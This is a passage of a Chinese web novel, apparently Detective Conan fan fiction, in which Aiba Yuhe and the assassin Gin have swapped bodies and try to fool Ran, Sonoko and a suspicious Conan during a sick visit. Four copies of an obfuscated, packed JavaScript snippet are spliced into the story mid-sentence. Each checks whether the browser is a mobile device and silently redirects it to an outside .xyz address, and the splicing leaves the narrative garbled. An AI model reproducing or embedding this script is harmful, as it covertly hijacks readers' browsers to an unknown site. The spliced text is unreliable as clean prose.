“啊!”江户川柯南大叫一声打断:“相叶哥哥的身体不是很弱吗?该不会是发烧太严重晕倒了吧!” 原本打算戴上耳机继续看书的相叶佑禾一个激灵。 小子!你住嘴啊啊啊! 果然,毛利兰变得凝重的嗓音响起:“柯南、园子,你们退后,我来把门踢开。” 相叶佑禾咬牙切齿。 臭小子居然来这招! 他急匆匆地起身,火急火燎地冲向卧室,在门口时和正巧打开门的琴酒撞到了一起。 得益于这具杀手身体的灵活反应,相叶佑禾眼疾手快,一把抓住琴酒拉入怀中,带着他转了个圈后完美泄力,稳稳当当站好。 琴酒脸色难看:“你……” “嘘!”相叶佑禾一把捂住他的嘴巴,将未尽之语压了回去。 过近的距离让他连琴酒脸上细小的绒毛都能看清楚,更别说他那饱含怒气的眼睛,仿佛连睫毛上都挂满了冰碴子。 怎么又生气了? 琴酒唇瓣蠕动了一下,似乎想说话,湿热的触感让相叶佑禾浑身不自在,连忙松开将手指藏在身后:“你小心一点啊!” 琴酒嫌弃地用手背擦了下唇瓣,在看到这只苍白的手是属于某人时,脸黑得像锅底。 他双目含冰,如利箭射出:“下次再碰我,把你手砍了。” 接二连三的亲密触碰已经让他忍耐度达到了极点。 “你要是想以后用脚拿枪杀人,我是无所谓啦。”相叶佑禾承认,他确实太着急了一点。 但是能不着急吗? 他现在就像后面跟了头牛,而他穿着红裤衩。 “琴酒,事出紧急,我同学们因为担心我出事马上就要破门而入了,但是不能让他们见到我现在这具身体、知道你的存在,你懂的对吧?” “所以,要让我扮演你?”门外嘈杂的声音传入耳畔,琴酒依旧面色平静,不急不缓。 “嗯嗯!来不及告诉你我更详细的情况了,总之语气要温和不准凶他们,绝对不能说‘滚’!实在不知道怎么回答就嗯、好的、谢谢、我没事,就行了。”相叶佑禾扣住他的肩膀:“知道了吗!” 琴酒不耐烦地挥开他的手,却没能撼动分毫。 “……” 哪怕他听进去了,但得不到回答,相叶佑禾便没办法安心。 “砰!” 一声撞击响起,木门晃了晃。 急得不行的相叶佑禾灵机一动,开始激将法:“你该不会连这么简单的人设都搞不定吧?那你这个杀手肯定很有水分!” “拙略的手段。”琴酒不悦地瞥了眼被捏住的肩膀:“再不躲起来,你就只能和你同学们说再见了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14934723|160696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 知道你是杀手行了吧!相叶佑禾在心里对他竖了个中指。 “记住,绝对不能说‘滚’!绝对哦!” 对象是名侦探和冷酷杀手,两人凑一起相叶佑禾真的很难不担心。 这场交流真的能顺利结束吗? 再担心也没用,这里他已经不能再待下去了。 鉴于柯南经常跑厕所,于是相叶佑禾只能狗狗祟祟的钻进衣柜里。 ‘嘶……’踩到头发了!嗷嗷嗷好痛! 没事留这么长的头发干什么?他以为他能cos长发公主吗! 相叶佑禾蜷缩着身体背靠衣柜,满眼泪花地将头发拉起来,像一捧丝绸般抱在怀里。 可恶!长得真大只。让人羡慕死了。 *** 客厅。 在毛利兰下一个飞踢到来时,大门被人从里面打开。 一道粉色的身影出现在众人面前。 “等等!兰!” 毛利兰瞳孔放大,将已经踢出去的腿硬生生转了弯,最终落到了门框上。 瞥了眼簌簌掉落的碎屑,琴酒淡淡收回目光。 还好没坏,要不然相叶佑禾…… “相叶同学,你没事吧!”毛利兰心有余悸地上前想要查看,却被粉发少年微微后撤躲开。 诶? 毛利兰愣了一瞬。 虽然相叶佑禾平时总跟他们保持着一定的距离,但刚才……总觉得他很冷淡、不悦的样子。 琴酒察觉到她细微的变化,几不可察的皱了皱眉。 不想一个照面就被发现不对,于是吐出两个字:“没事。” “哦、哦,那就好。”毛利兰很快被他沙哑的嗓音转移注意力。 “相叶同学,你的声音听上去好严重。” “对啊,我们刚才还担心你晕倒了呢。”铃木园子从刚才的惊吓中回过神。 “说起来……真是抱歉。”毛利兰诚恳道歉。 第一次来相叶佑禾家就做出踢门这种事,虽然是出于担心,但到底还是很不礼貌。更何况他们三个还是不请自来的。 “不过我们有带你最喜欢的甜品哦!当做探病的慰问品,至于刚才的事……下次我请你甜品吃到饱怎么样?”铃木园子笑嘻嘻地一手推着毛利兰,另一只手打算去推相叶佑禾:“别站在门口了,这么冷别让相叶病情加重了!” 琴酒眉头微皱,不让这群自说自话的小鬼们进来,似乎不太符合相叶佑禾的作风。 几乎在铃木园子手伸出的同时,琴酒便转身往里面走,落在其他人眼里就是正巧错开了。 铃木园子也没有太在意,他现在对这个从未踏足过的家十分好奇。 按相叶那个性格,她们说不定是第一批来家里拜访的朋友。 想想就很兴奋呢! “咦,柯南,你怎么了?”毛利兰回头,看着僵硬在原地,脸色不太好的柯南有些疑惑。 江户川柯南神情紧绷。 刚才那股感觉、那股在相叶佑禾开门时突然扑面而来的、仿佛面对黑衣人同伙的冰冷,是怎么回事?! 8. 第 8 章 难道说……黑衣组织的人在这里?! 江户川柯南心一紧,在毛利兰疑惑的‘柯南’声中,猛地冲进屋里。 客厅,没有。 两间卧室里也没有。 在哪里、在哪里?那些黑衣人在哪里?! 江户川柯南查探完厨房后,朝剩下的卫生间跑去—— 在即将打开门时,被人从后面一把揪住衣领。 “你——在找什么?” 低沉的嗓音裹挟着令人胆寒的威慑力,穿透空气落入耳中,让周遭的温度瞬间降至冰点。 江户川柯南全身僵硬,像老旧的机械般缓缓抬头。 对上那大半张脸藏在阴影中的人,柯南瞳孔一缩,心脏重重跳动了一下。 那种感觉,就像被一只无形的大手遏制住喉咙,无法大喊大叫,只能绝望的被拖进黑暗之中。 琴酒盯着江户川柯南,目光沉沉,绿色的眸子似乎在探究着什么。 “咳、咳咳咳……”下一秒,剧烈的咳嗽声响起,粉发少年纤弱的身体随之颤抖着,看得人心惊胆战。 江户川柯南如梦惊醒,“相叶哥哥,你还好吗?” “相叶同学你等等!”毛利兰连忙去厨房里倒了杯温水递给他。 琴酒没有拒绝,两口将水喝完,干涩的嗓子得到缓解后,干脆利落的抹去这具身体眼角溢出的生理性泪水。 江户川柯南再次看向相叶佑禾。少年的脸色苍白,带着些许不正常的红晕,秀眉微微皱起,眼角湿润,这是发烧还没好的正常状态。 他穿着件高领毛衣,脸颊下方还有淡淡的压痕,应该是刚睡醒——是被他们吵醒的。 江户川柯南不禁心虚。 不过能躺着好好睡觉,看来那些家伙并不在这。 这让柯南狠狠松了口气。 大概是他神经太过紧绷了,加上相叶佑禾生病状态不好,表情不似平时那般温和,才被吓了一跳。 “柯、南。”毛利兰将他揪到身边:“你怎么又到处乱跑!” 相叶佑禾本来就是个很注重隐私的人,这样把人家家里的房间都跑一遍,也太失礼了! 江户川柯南讪笑着挠挠头:“啊哈哈~我想上厕所!太着急了嘛!” 不过谨慎起见,还是要检查完最后一个地方才行! “我憋不住啦!小兰姐姐你们聊,我先去上厕所!” 江户川柯南捂着屁股跑了进去。 卫生间里的场景一览无余,只一眼就能看出完全不可能藏人。出于职业习惯,江户川柯南还是把里面的所有东西都仔仔细细的检查了一遍。 地面打扫得很干净,每样洗漱用品都摆得整整齐齐,和相叶佑禾给人的感觉一样。 不过是不是太干净了一点? 洗漱台和地面上没有一根头发,连垃圾桶里的袋子也是新换的。 据他了解相叶佑禾的洁癖没有严重到重病都还要坚持到一丝不苟的程度。 江户川柯南嗅到了一丝不寻常。 只是顺手让伏特加把垃圾带走的相叶佑禾:“……” 从今以后,他要把自己的事情自己做,贯彻到底! 江户川柯南扶了扶镜框,他回忆了下刚才看过的屋子,两间卧室,一间收拾得非常规整,看上去像经常打扫但没有人住的样子,而相叶佑禾那间就显得凌乱许多了。 尤其是床铺。 从床垫的褶皱来看,仿佛经历了一场激烈的大战……咳。当地点是床后,他这个用词好像不太恰当。 江户川柯南摇摇头,侦探强烈的直觉让他决定再去相叶佑禾的卧室调查一遍。 那里,说不定会有线索。 *** 屋外。 在江户川柯南进去后,毛利兰忍不住叹气:“真是的……” “这小鬼又来了。”铃木园子死鱼眼:“别管他了,相叶,快来尝尝蛋糕,你肯定早就按耐不住了吧~” 琴酒的目光从卫生间门口收回来。 这个屋里的所有人,都吵得他头痛。尤其是这具身体还非常不舒服,他只想快点把这几个烦人的小鬼赶出去。 “你……”刚发出一个音节,便听毛利兰笑道:“不过,我还以为相叶同学会生气呢。” 琴酒一顿,听毛利兰继续说下去:“不管是擅自来拜访还是刚才柯南到处乱跑的行为都是。” 琴酒双眼微眯。 根据相叶佑禾的要求来看,那小子对外似乎是个很有礼貌、且没什么脾气的人才对。 竟然会因为朋友拜访生气…… 铃木园子笑道:“毕竟相叶你从以前就不太喜欢大家对你的生活有过多的干扰和关注。” 两人不经意回忆起从前。 相叶佑禾是个温和到有些腼腆的人,对人非常有礼貌,和谁都能友好交流,但是仅限于打招呼阶段的交流。 说得直白一点,那就是普通、没有很鲜明的特色,就算拥有帅气的长相,也经常会下意识忽略了他。 一开始,他们还以为相叶佑禾是因为身体病弱,所以才总给人一种若即若离的感觉。 接近之后才发现,这哪是别人不跟他玩、因为身体自卑啊,明明就是他‘孤立’大家。 而且还是非常高明的孤立。 他们花费了好长时间才和相叶佑禾亲近起来。 不过这家伙,明明会对他们报以关心、接受邀请,甚至还加了不会告诉别人的社交软件,但还总要假装生疏,客客气气的喊:某某同学、某某桑。 他们这些朋友也就假装不知道,顺从他的小爱好。 这点的相叶君也很可爱呢!铃木园子捧脸,和毛利兰相视一笑:“像一只领地意识超强的小猫咪呢!” 琴酒若有所思。 从中嗅到了一丝不寻常味道的人×2。 其一江户川柯南正偷偷从卫生间出来,看了眼坐在沙发上聊得欢快的几人,狗狗祟祟地往家具后面钻。 听到铃木园子的话时,嘴角还忍不住抽搐了两下。 喂喂,这种话当着相叶的面说出来,那家伙会害羞的吧。 他偷偷朝相叶佑禾看了一眼,却发现对方一脸平静,仿佛两人口中的人不是自己一般。 江户川柯南微愣。 鉴于此刻的行动不能被人察觉,他收回目光,继续小心谨慎地前进。 而他不知道刚才那偷偷的一眼,便足以让对视线敏感的琴酒,发现他的行迹。 更别说,他那匍匐前进的姿势太扎眼了。 看着已经溜进相叶佑禾卧室的小学生,琴酒修长的手指下意识敲击着沙发扶手,绿色的眼眸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14934724|160696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深处,涌动着锐利的光芒。 干脆都杀掉好了。 只要那个小鬼发现藏在衣柜里的相叶佑禾,就把这几个人都杀掉。 *** 此时,相叶佑禾还乖乖的蜷缩在衣柜里。 天知道江户川柯南冲进卧室里的时候,他有多担心被发现。 恨不得自己的异能里是隐身、穿梭什么的。他立刻遁地三尺,离柯南远远的! 还好那小鬼不知道是太着急、还是认为组织的人不会干躲进衣柜里这种没有格调的事,只是草草看了两眼便离开了。 相叶佑禾紧张得背脊都出了一层薄薄的汗水。 即使江户川柯南已经出去了,他还是忍不住担忧。 他都不奢望琴酒能演好他了,只要ooc得不是太离谱他就烧高香了。 刚才柯南那急急忙忙的反应,相叶佑禾陷入短暂沉思。 就算因为昨晚电话里的声音担心他的安全,在看到他完好无损的那一刻,也应该放心了才对。 为什么会那么急切? 想到柯南和这具身体隶属的组织之间的关系,相叶佑禾沉默了。 不会这么巧,柯南正好查到了琴酒头上吧? 这个杀手也太不谨慎了吧?相叶佑禾指指点点。 该来的麻烦,不管怎么躲都是躲不过的。他叹了口气,抬起手正准备发动异能力时又停了下来。 不行不行,怎么能这么自然、随意的又使用起来。 反正这件事不是特别紧急,还还达不到非异能力不可的地步。 等之后找个机会用电脑查查就好了,这也不违背他的意愿。 在米花町这个神奇的地方,‘普通人’的计算机水平高亿点不是很正常的吗~ 现在最重要的还是外面的情况,相叶佑禾挪了挪位置,把耳朵紧紧贴在柜门上。试图将客厅里的声音听得更清晰一点。 毛利兰和铃木园子并没有刻意压低声音,尤其是园子。 得益于杀手优越的身体条件,相叶佑禾听得很清楚,越清楚、越心凉。 啊啊啊啊园子这个大嘴巴!说什么呢! 相叶佑禾努力忽视园子形容词带来的羞耻感。 坏消息,他可能会引起琴酒那个疑心病超强的混蛋注意力了。 好消息,琴酒竟然到现在都没被发现ooc! 相叶佑禾诡异地欣慰起来。 于是,掏出手机给琴酒发了条短信:你怎么还再听他们说话,快点装不舒服要休息让她们回…… 短信编辑到一半,相叶佑禾听到了细微的声响。 他停下动作,那细微的声响并没有消失,反而越来越频繁了。 相叶佑禾顿觉不妙。 他屏住呼吸,小心翼翼地扒拉开衣服,往衣柜门缝看去。 穿着小西装的小学生,正在床边仔仔细细地寻找蛛丝马迹。 光看背影就知道,他强得可怕。 相叶佑禾倒吸一口凉气,不敢睁开眼。 即使被杀手逮住恐吓了一波,也不愿意放弃追查线索吗?柯南……你这家伙…… 当江户川柯南停下手里的动作朝这边看来时,相叶佑禾承认他输了。 比看到鬼还要惊悚!! 他手指飞快地编辑短信:卧室,速来救驾。 9. 第 9 章 江户川柯南放弃了检查床铺。 江户川柯南转身、锁定柜子,微微垂头,镜片反光。 提问。 当你顶着杀手琴酒的脸躲在衣柜里,而他的死对头(尽管他并不知道有这么一个死对头),正伸出那只正义的小手准备打开柜门,此时,真正的topkiller坐在一墙之隔的客厅,等到东窗事发后,也许你的朋友们就会血溅当场。 你该怎么做? 为了双方的安全,琴酒的枪被相叶佑禾藏了起来,而对方用着的也是他不堪一击的身体,说不定在想要攻击的一瞬间就会被毛利兰一个飞踢ko。然后聆听他们三跪在地上求他别死的心有多诚。 很好,危险转移到他脆弱的身体上。 为朋友担心和为自己担心,相叶佑禾一时分不清哪个更重要。 还是先为自己担心吧。 因为柯南的手已经放在了衣柜上! 啊啊啊停下!快停下! 无知的江户川,你知道前方是什么吗?!你知道打开柜门会看到谁吗? 琴酒!是琴酒哦!是你正在调查的黑衣组织的顶级杀手哦!! 相叶佑禾心脏狂跳不已,每一下都像是重锤敲击,他甚至怀疑江户川柯南都能听到。 他谨慎地将身体后移,尽量用衣服挡住自己的身躯,手指从刚才开始便不断的敲击着按键,快出残影,几乎以一秒五条的速度将短信发送到琴酒手机上。 柜门被缓缓拉开,光线迫不及待顺着那条窄缝钻了进来,黑暗中,那条勾勒出来的光线仿佛前往异世界的通道,而通道的尽头——是眼镜反光的小学生侦探。 相叶佑禾呼吸骤止,疯狂用短信轰炸琴酒。 一秒不到的时间,他脑子里划过许多念头。 琴酒这个狗东西怎么还不来,就算身体不舒服爬也该爬过来了! 他该不会压根就不想阻止吧? 如果柯南真的将门打开发现了顶着琴酒脸的相叶佑禾,那他接下来要面对的场景—— 柯南震惊、惶恐、假装没素质在别人家乱探险的小学生暂时离开。 然后盯上他、怀疑他,追查他和琴酒之间的关系。 琴酒不悦、避免多生事端,派小弟去解决毛利兰、柯南、铃木园子。 而他,要夹在二者之间,一边阻止琴酒,一边保护想方设法接近他的柯南,再绞尽脑汁的打消双方的怀疑。 他懂了!麻花就是由他们三组成的吧! 哈哈他没疯,只是有点缺氧。 不行不行,绝对不行! 相叶佑禾的额头上冒出一层细密的汗水,他脸色紧绷,用力捏着手机,果断放弃呼叫琴酒,打算靠自己解决。 柜子的缝隙一点一点变大,光线完全不体谅相叶佑禾紧张的心,争先恐后地涌进来。 江户川柯南一眨不眨地盯着衣柜,挂着的衣服暴露在视野中,只要再打开一些,就能完全看清里面的场景。 “砰!” 千钧一发之际,一声清脆地声音打断了江户川柯南的动作,紧接而来的还有毛利兰和铃木园子的惊呼声。 “小兰!”江户川柯南大喊着冲出去了。 只留下开到一半的柜门,受惯性影响正往外一点一点的打开。 “……” 蜷缩在柜角的相叶佑禾默默伸出一只手,将柜门轻轻拉了过来,期间没有发出一点声响。 虽然江户川柯南基本不会返回了,谨慎起见,相叶佑禾特意没有全部关上,保持着半遮半掩的样子。 然后将身体再次藏在衣服中。 做完这些,他才狠狠松了口气。 他将手指从拨号键移开。 再晚一点点,他就要拨通江户川柯南的电话了。 虽然在紧急情况下他依然对号码做了加密处理,但拨打的时机太过凑巧,加上上一次的未知来电,江户川柯南绝对会起疑心,但总比打开柜门来个大眼瞪小眼好。 相叶佑禾再次给琴酒发送短信:快点让他们回去!但不能直接让他们滚。 *** 嗡嗡。 装在口袋里,因为坐下的姿势正好贴在腰侧的手机再一次发出震动,琴酒脸色铁青,额头青筋一突一突的。 他本来带着看好戏的心思等待江户川柯南发现端倪,然后顺理成章的将人解决省事,但在卧室里传来动静之前,他就快要被手机震动烦死了。 偏偏相叶佑禾这具身体还怕痒。 琴酒迅速按压住身体做出一些条件反射的招笑动作,想要把手机掏出来关静音,但还是控制不住的手抖了一下。 手里端着的杯子落地,在清脆的声响中变成碎片。 毛利兰和铃木园子惊呼出声,瞥见他努力忍耐着什么的脸色,忍不住地担心:“相叶,你没事吧?” 火急火燎跑出来的江户川柯南见屋里的场景,松了口气。 什么嘛,只是不小心打翻了杯子。 他今天确实疑神疑鬼过头了。 看毛利兰蹲下身用手捡地上的碎片,江户川柯南连忙从角落把扫帚拿过去:“小兰姐姐,用这个吧。” 毛利兰接过:“好,谢谢你。” 铃木园子看了眼琴酒:“相叶,你身体还不舒服吗?要不我们送你医院看看?” 琴酒嗓音冰冷:“不用。” “说起来,相叶哥哥,你家里只有你一个人吗?”江户川柯南好奇道。 琴酒敷衍地‘嗯’了一声。 没有多余的用词,其他人大概也猜到了他的情况。不如说从以前他基本没提过家里人时,江户川柯南就隐约有察觉到了。 只是当时,更多的是以为他和家里人关系不好,没想到…… 琴酒不屑一顾的表情,看在其他人眼里就变了一个意味。 这伤心又故作坚强的样子,铃木园子眼泪都要流出来了。 如果琴酒知道她在想什么,一定会让她再也流不出眼泪。 江户川柯南也沉默了两秒,又继续问:“相叶哥哥,那昨天晚上接电话的那个凶巴巴的哥哥是谁呀?该不会有人来欺负你吧?” “什么?是谁?我们一定好好教训他一顿!”铃木园子看向收拾好走来的毛利兰:“你说对吧小兰?” 后者重重点头。 三双眼睛齐刷刷地集中到琴酒身上,他面无表情地撒谎:“钥匙丢了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14934725|160696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请了工匠。” “噢~原来是这样啊,怪不得锁那么新呢。”毛利兰恍然大悟。 江户川柯南歪头:“咦,那相叶哥哥的电话怎么是工匠哥哥在接?” “笨,相叶要是正好在忙,手机放在桌上响了,工匠帮忙接起来不是很正常吗?”铃木园子得意扬扬的解释。 江户川柯南无语。 “诶?是吗?那他的声音好凶哦,接起电话来的时候我都吓了一跳呢。”他走过去仰着脑袋:“相叶哥哥,那个工匠哥哥长什么样呀?” 小孩子眨巴着大眼睛、奶声奶气的样子实在可爱,但他面对的是冷酷无情的琴酒。 陪小孩子过家家的游戏让他的耐心达到了极限。正准备让人滚时,手机又震动了一下。 琴酒眉眼冷厉,刚掏出还来不及按静音,一封封短信快速在屏幕闪过,又被最后一封占据页面。 【忍住!千万要忍住!你也不想到时候我不配合,让你同事们看到一个‘柔弱可爱’的杀手吧?】 琴酒眸中划过不悦。 【拜托拜托~就再忍耐这一下下,我保证轮到我的时候,一定把你冷酷无情杀伐果断的样子演得淋漓精致!绝不ooc!】 琴酒软硬不吃,但到底软话会让人心情更舒适一些,更何况他也不是个会让情绪占据大脑的人。 他和相叶佑禾是一条绳上的蚂蚱。 不过现在,用不着他赶人了。 “柯南,不要这么缠着相叶。”毛利兰一把拉过他:“他身体还很不舒服,这些问题可以等他好了再问,可以吗?” 琴酒看消息的速度很快,快到让人以为他只是拿手机看了眼时间。 瞥到他微皱的眉头和苍白的脸色,江户川柯南也心虚地没有再说什么。 毕竟相叶佑禾会生病也是因为他。 他观察过这个公寓,很简单的两室一厅,房子有些老旧,但该有的东西都很齐全,并且……很温馨。 墙壁上画着身高刻度尺,有好好记录下相叶佑禾的成长,柜子上摆放着不同场景的合照,每张都是笑容明媚的…… 能看得出来,相叶佑禾是在充满爱的环境里长大的。 如果真的有黑衣组织的同伙来过,那这个家,不可能还保持着这么温馨的原样。 看来,是他误会了。那应该只是和琴酒有些相似的声音罢了。 况且相叶佑禾就是个有些怕麻烦的普通人,怎么可能会引起那些人的注意力。 “那相叶哥哥,你好好休息,等你好点我们再来探望你。” 琴酒淡漠地点了点头,将人送出去。 屋内安静下来,轻浅的脚步在衣柜前停下,紧接着,柜门被人打开,光线骤然涌入。 相叶佑禾眯了眯眼,从柜子里钻出,:“呼——总算是走了。天知道我刚才有多紧张。” 他伸了个大大的懒腰,舒展着因长时间蜷缩而有些不适的四肢,下一秒,琴酒一把拽住他的衣领,猛地往下拉。 “你干什么?”猝不及防对上那双绿色的眼眸,相叶佑禾有些懵。 “紧张?”琴酒盯着那头与往常大相径庭的银发,杀气四溢:“我看你闲、得、很。” 10. 第 10 章 柔顺的银色长发一分为二,被编成了两股精致的麻花辫,随着相叶佑禾弯腰的动作,一左一右地垂了下来,在两人的目光中晃来晃去。 最让琴酒生气的,还是头顶那部分被揉成鸡窝一样的头发,仿佛跟人揪着头发打了一架。 只是短短的十几分钟,他是怎么折腾成这样。 琴酒无法容忍自己的脸顶着如此搞笑的姿态。 相叶佑禾顶着琴酒杀人的目光,理亏地摸了摸鼻子。 “咳……我无聊嘛。”坐在衣柜里只偷听他们的谈话实在太干巴了,手里有什么就玩什么,回过神来两条辫子就这么出现了…… 相叶佑禾理直气壮地说:“而且你头发实在太长了,害得我差点踩到摔倒,这样辫起来不是好很多吗?” 清清爽爽的,奶奶再也不怕他被头发绊倒了。 他说着,还晃了晃脑袋。 银色的辫子划过空中,打到琴酒的脸上。 他忍无可忍。拽着他的衣领一把将人推到床上。 没推动。 用着他身体的相叶佑禾稳如泰山。 琴酒:“……” 相叶佑禾歪了歪头:“那个……你刚才……该不会是想推我吧?” 琴酒:“闭嘴。” 相叶佑禾:“……” 怎么说呢,就……挺对不起的。 琴酒咬牙切齿:“你,坐到床上去。” 相叶佑禾看他气得不轻,又不是什么过分的要求,便乖乖走过去坐下。 屁股刚沾到床面,琴酒的手已经伸了过来。 “喂,我自己……”相叶佑禾担心他那粗暴的动作弄疼自己,连忙开口阻止。 然而当一条辫子被打散重归顺滑后,相叶佑禾都没感受到一丝疼痛。 他诧异地看去,琴酒眉眼间充满了不悦和怒气,但骨节分明的手指穿过银发,将缠绕在一起的发丝捋顺,又恢复成那丝绸般的瀑布。 相叶佑禾新奇地看着他。 没想到这个脾气不好的杀手,动作竟然能有这么‘温柔’的时候。 察觉到视线,琴酒抬眸,锋利的目光带着寒意射来,让相叶佑禾忍不住打了个寒颤。 大冬天的就不需要人形制冷器了吧…… “别动。”他不容拒绝的命令。 温热的气息喷洒在脸上,湿湿痒痒的,相叶佑禾才惊觉他们现在的距离有多近。 他不自在地往后仰了仰,一缕发丝被扯直。下一秒,被琴酒掐住脸颊拉了回来。 “我不是说了别动么?”他嗓音低沉,话语里威胁的意味仿佛一条带着剧毒的蛇缠上他的脖颈。 这么珍惜头发啊…… 相叶佑禾思绪飘忽了一瞬。记笔记,以后说不定能用这个作为威胁! 你最好乖乖听话,这可是你的头发,但是在我手里。 脑补的威胁差点让相叶佑禾笑出声,但是对面是正在生气的杀手,笑出来多少有点不尊重他的职业了。 他小声顶嘴:“谁让你凑那么、让你用那种眼神看我……” 琴酒瞥了眼相叶佑禾垂眸盯地的表情,既满意他的害怕,又对他用自己的脸做出这么懦弱的样子而不悦。 “废物。” 琴酒松开手,转身离开。 相叶佑禾:“?” 他收回因为琴酒成功糊弄过柯南等人,而暂时放下的那一点点讨厌。 他抓住头发,打算悄悄扯下几根报复他。 这个办法好像可行,每天神不知鬼不觉的扯几根,等换回来的时候琴酒说不定就秃了。 相叶佑禾的手指挽住几根发丝,刚准备用力,便听到一声细微的声响。 这么快? 他用力的动作迅速变成轻盈地抚摸:“哎呀,怎么打结了呢?要小心点才行。” 说完,这才假装听到动静抬头。还惊讶地问:“咦,你怎么回来了?” 浮夸。 去而复返的琴酒靠在门框处,双手抱胸,冷笑一声:“继续。” 相叶佑禾:“……” 绝对是看到了吧。 但他也只能继续用那视若珍宝地态度,装模做样的把不存在的结解开。 然后举了举发丝:“解开了。” “很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14934726|160696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好。”琴酒不紧不慢地走过来,把梳子放在相叶佑禾手上:“把剩下的都解开。” 剩下的——指那团在衣柜里搅得乱糟糟的发顶。 这不是什么难事,但琴酒倚在柜子上,和他面对面,嗓音缓慢:“我看着你解。” “……” 压力上来了。 相叶佑禾总觉得琴酒已经找到了那把被藏起来的枪,只要他不小心梳掉一根头发,身体某个部位就要挨一发枪子。 他据理力争:“要不还是你来?毕竟是你的头发,在你手里会更乖巧一点。” 琴酒掀了掀眼皮:“辫子不是编得挺好的?” 相叶佑禾不敢说话了。 他只好硬着头皮,在琴酒目不斜视的眼神下,小心翼翼地整理着头发。 *** 好奇怪的场景。 他对着镜子梳头发,琴酒站在两步之外监视着他,还好那视线跟刀子似的,不然他要浑身难受了。 等等,相叶佑禾一惊。 他该不会有什么受虐倾向吧? 拜琴酒所赐,原本两三分钟就能搞好的头发,硬折腾了十多分钟,相叶佑禾手都酸了。 他放下梳子抬头:“这样可以了吧?” 银色的长发如流淌的河水,披散在相叶佑禾的肩侧。竟生出一种岁月静好的感觉。 琴酒眉头皱起,冷声道:“扎起来。” 相叶佑禾:“?” 莫名其妙,之前不都一直披着的吗? 懒得和他再在头发上争执,相叶佑禾把长发聚拢,没有发圈,便用刚才扎麻花辫的卫衣帽绳打了个结。 一个低马尾就此诞生了。 相叶佑禾照了照镜子,对自己扎头发的手法很满意,略微得意地看去:“这次怎么样?还是说你想要高马尾?我可以换。” “别做多余的事。”琴酒的目光在他表情鲜活的脸上转了一圈:“不要露出那种愚蠢的表情来。” 相叶佑禾:“……那你最好学习一下,因为之后扮演我,你就要露出类似的愚.蠢.表情。” 琴酒脸色瞬间黑了下来。 11.第 11 章 相叶佑禾幸灾乐祸。 让你嘚瑟! 见他那张脸做出如此滑稽的表情,琴酒闭了闭眼。 他抬起手捏住相叶佑禾的脸。 距离骤然拉近,相叶佑禾被他吓了一跳:“打人不打脸!” 正准备将这个说不过就动手的杀手钳制住时,琴酒不容置喙道:“别动,闭嘴。” 他指腹用力,一点一点将那上扬的眉眼、唇角,一一抚平。温热的触感蔓延整张脸,又被粗暴的力道压得不适,相叶佑禾想要摆脱这奇怪的状态,却在对上那双专注又危险的眼眸时停下,连呼吸都屏住了。 直到这张脸在他的手中重新变回面无表情的样子,琴酒才满意地收回手。 相叶佑禾揉了揉发痛的脸,忍不住腹诽,这滚蛋,还挺注意自己杀手形象的。 “正好,来交换一下信息。”琴酒眯了眯眼,下巴微抬:“不过,在那之前先解释一下,我的新手机里为什么会有你的号码?” 琴酒将手机转向他。满屏仿佛垃圾短信的来源正是相叶佑禾。 看笑话的心思荡然无存。 相叶佑禾被动面无表情的脸更加冷峻了。 “你小弟把手机给我的时候,我存的。”他一脸正经:“没什么好奇怪的吧,我们现在这种情况交换号码不是必要的吗?” 琴酒看向他,如潭水般沉静的眸中似乎在思量什么。 相叶佑禾头皮发麻,就像他说的,两人现在的情况存号码是必须的,琴酒肯定也知道,但他还是问了出来。 因为园子她们的话,这人果然开始怀疑他了吗? 这也太敏锐了吧!活该他当杀手。 半响,琴酒冷冷说:“最好只是这样。” 24小时不到,相叶佑禾已经开始对琴酒的冷言冷语产生免疫了。 说起来,他这一天不到的时间,过得比这一整年都精彩了。 先是成了崇拜毛利小五郎的狂热粉丝,大冬天也要坐在冰冷地面模仿偶像,最后导致发烧请假的傻逼。 然后险些被‘路过的狗恐怕都要被捅一刀’的杀手杀害,最后还互换了身体,也不知道什么时候才能回到正轨…… 